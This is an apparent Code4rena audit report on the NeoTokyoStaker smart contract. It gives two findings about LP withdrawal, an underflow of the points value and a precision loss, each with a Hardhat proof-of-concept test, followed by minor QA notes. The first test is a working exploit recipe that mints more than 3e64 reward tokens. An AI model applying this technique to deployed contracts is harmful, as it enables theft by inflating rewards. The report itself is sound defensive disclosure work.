Neo Tokyo contest - rokso's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1622-L1631

Vulnerability details

Impact

NeoTokyoStaking allows to stake and withdraw LPs. User can stake multiple times on same position which simply results in extended lock time and user can withdraw all of these LPs once lock time is passed.

There is a scenario when withdrawing LPs results in overflow of lpPosition.points. After withdraw if attacker calls getRewards() then attacker will get more than 1e64 BYTES tokens as reward.

Proof of Concept

Affected code block: NeoTokyoStaker.sol#L1622-L1631

Affected line: L1627

From below POC you can see that Alice is staking twice and some specific amounts which will trigger underflow when Alice withdraw LP. Once staked LPs are unlocked, Alice can withdraw her LPs and call getReward() to trigger minting of more than 1e64 BYTES tokens.

Below test can be added in NeoTokyoStaker.test.js test file.

		it('Unexpected rewards minting due to underflow of "points"', async function () {
			// Configure the LP token contract address on the staker.
			await NTStaking.connect(owner.signer).configureLP(LPToken.address);
			const amount1 = ethers.utils.parseEther('10.009')
			const amount2 = ethers.utils.parseEther('11.009')
			const lockingDays = 30
			
			// Alice stake amount1 LPs for 30 days.
			await NTStaking.connect(alice.signer).stake(
				ASSETS.LP.id,
				TIMELOCK_OPTION_IDS[lockingDays],
				amount1,
				0,
				0
			);

			// Alice stake amount2 LPs for 30 days.
			await NTStaking.connect(alice.signer).stake(
				ASSETS.LP.id,
				TIMELOCK_OPTION_IDS[lockingDays],
				amount2,
				0,
				0
			);

			const priorBlockNumber = await ethers.provider.getBlockNumber();
			const priorBlock = await ethers.provider.getBlock(priorBlockNumber);
			let aliceStakeTime = priorBlock.timestamp;
			
			// Bob stake 10 LPs for 30 days
			await NTStaking.connect(bob.signer).stake(
				ASSETS.LP.id,
				TIMELOCK_OPTION_IDS[lockingDays],
				ethers.utils.parseEther('10'),
				0,
				0
			);

			// Set time to unlock staked lp
			await ethers.provider.send('evm_setNextBlockTimestamp', [
				aliceStakeTime + (60 * 60 * 24 * lockingDays)
			]);
			
			// Alice withdraw LP
                        // This transaction will cause underflow of `lpPosition.points`
			await NTStaking.connect(alice.signer).withdraw(
				ASSETS.LP.id,
				amount1.add(amount2)
			);

			// Before exploit:: Verify Alice's Bytes balance is less than 10000 BYTES
			expect(await NTBytes2_0.balanceOf(alice.address)).lt(ethers.utils.parseUnits('10000', 18))
			
			// Get rewards for Alice. It will mint HUGE rewards due to underflow happened on withdraw transaction.
			await NTBytes2_0.getReward(alice.address)

			// After exploit:: Verify Alice's Bytes balance is greater than 3e64
			expect(await NTBytes2_0.balanceOf(alice.address)).gt(ethers.utils.parseUnits('3', 64))
		});

Tools Used

Manual

Recommended Mitigation Steps

Consider adding proper precision for points and totalPoints and also consider checking for under/overflows.

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1623

Vulnerability details

Impact

During withdrawLP() code logic calculates user's points and subtract from user's lpPosition.points. If user withdraw any amount < 1e16 then calculated points becomes 0 due to precision loss and this leaves lpPosition.points unchanged. This unchanged point will impact rewards calculation down the lane.

Proof of Concept

NeoTokyoStaker.sol#L1623.

Below test shows that points remain unchanged after withdrawing small amount, even multiple times.

		it('"points" remains unchanged when user withdraw small amount of LP', async function () {
			// Configure the LP token contract address on the staker.
			await NTStaking.connect(owner.signer).configureLP(LPToken.address);
			const amount1 = ethers.utils.parseEther('10')
			const lockingDays = 30
			
			// Alice stake amount1 LPs for 30 days.
			await NTStaking.connect(alice.signer).stake(ASSETS.LP.id, TIMELOCK_OPTION_IDS[lockingDays],	amount1, 0, 0);

			const priorBlockNumber = await ethers.provider.getBlockNumber();
			const priorBlock = await ethers.provider.getBlock(priorBlockNumber);
			let aliceStakeTime = priorBlock.timestamp;
			
			// Bob stake 10 LPs for 30 days
			await NTStaking.connect(bob.signer).stake(ASSETS.LP.id,	TIMELOCK_OPTION_IDS[lockingDays], amount1, 0, 0);

			// Set time to unlock staked lp
			await ethers.provider.send('evm_setNextBlockTimestamp', [aliceStakeTime + (60 * 60 * 24 * lockingDays)]);
			
			let aliceLpPointsBefore = (await NTStaking.getStakerPositions(alice.address)).stakedLPPosition.points;
						
			const amountToWithdraw = 1e15
			// Alice withdraw small LP
			await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw);

			let aliceLpPointsAfter = (await NTStaking.getStakerPositions(alice.address)).stakedLPPosition.points;
			expect(aliceLpPointsAfter).equal(aliceLpPointsBefore)
			aliceLpPointsAfter = aliceLpPointsBefore
			
			await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw);

			await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw);

			await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw);

			await NTStaking.connect(alice.signer).withdraw(ASSETS.LP.id, amountToWithdraw);

			aliceLpPointsAfter = (await NTStaking.getStakerPositions(alice.address)).stakedLPPosition.points;
			expect(aliceLpPointsAfter).equal(aliceLpPointsBefore)
		});

Tools Used

Manual

Recommended Mitigation Steps

Consider updating formula to perform multiplications first and then do the division.

uint256 points = amount * lpPosition.multiplier * 100 / 1e18 / _DIVISOR;

Above fix will not eliminate bug entirely, so consider using higher precision value for multiplier

QA report

Total Findings: 4

[N-01] Possible to stake 0 amount of LP

Issue: Stake LP function in neoTokyoStaker allows to stake 0 LP amount

Recommendation: Consider adding non zero amount check

Code: NeoTokyoStaker.sol#L1124-L1137

    function _stakeLP(uint256 _timelock) private {
        uint256 amount;
        assembly {
            amount := calldataload(0x44)
        }

[N-02] Wrong if condition

Issue: Found this issues at 2 places. There is wrong if condition around AssetType. AssetType hold values in 0-3 range, but if condition uint8(_assetType) > 4 which is wrong.

Recommendation: Consider either just remove if condition function param will run this check internally or updating if condition with proper check.

Code: This issue is at 2 place in contract

NeoTokyoStaker.sol#L1205

1205:		if (uint8(_assetType) > 4) {
1206:			revert InvalidAssetType(uint256(_assetType));
1207:		}

NeoTokyoStaker.sol#L1668

1168:		if (uint8(_assetType) == 2 || uint8(_assetType) > 4) {
1169:			revert InvalidAssetType(uint256(_assetType));
1170:		}

[R-01] Unnecessary code logic for string comparison

Issue: Contract has a huge function to check string equality while there are other easy to use options available.

Recommendation: Consider adding check like this.

    if (keccak256(abi.encodePacked(_a)) == keccak256(abi.encodePacked(_b)));

Code: NeoTokyoStaker.sol#L824-L865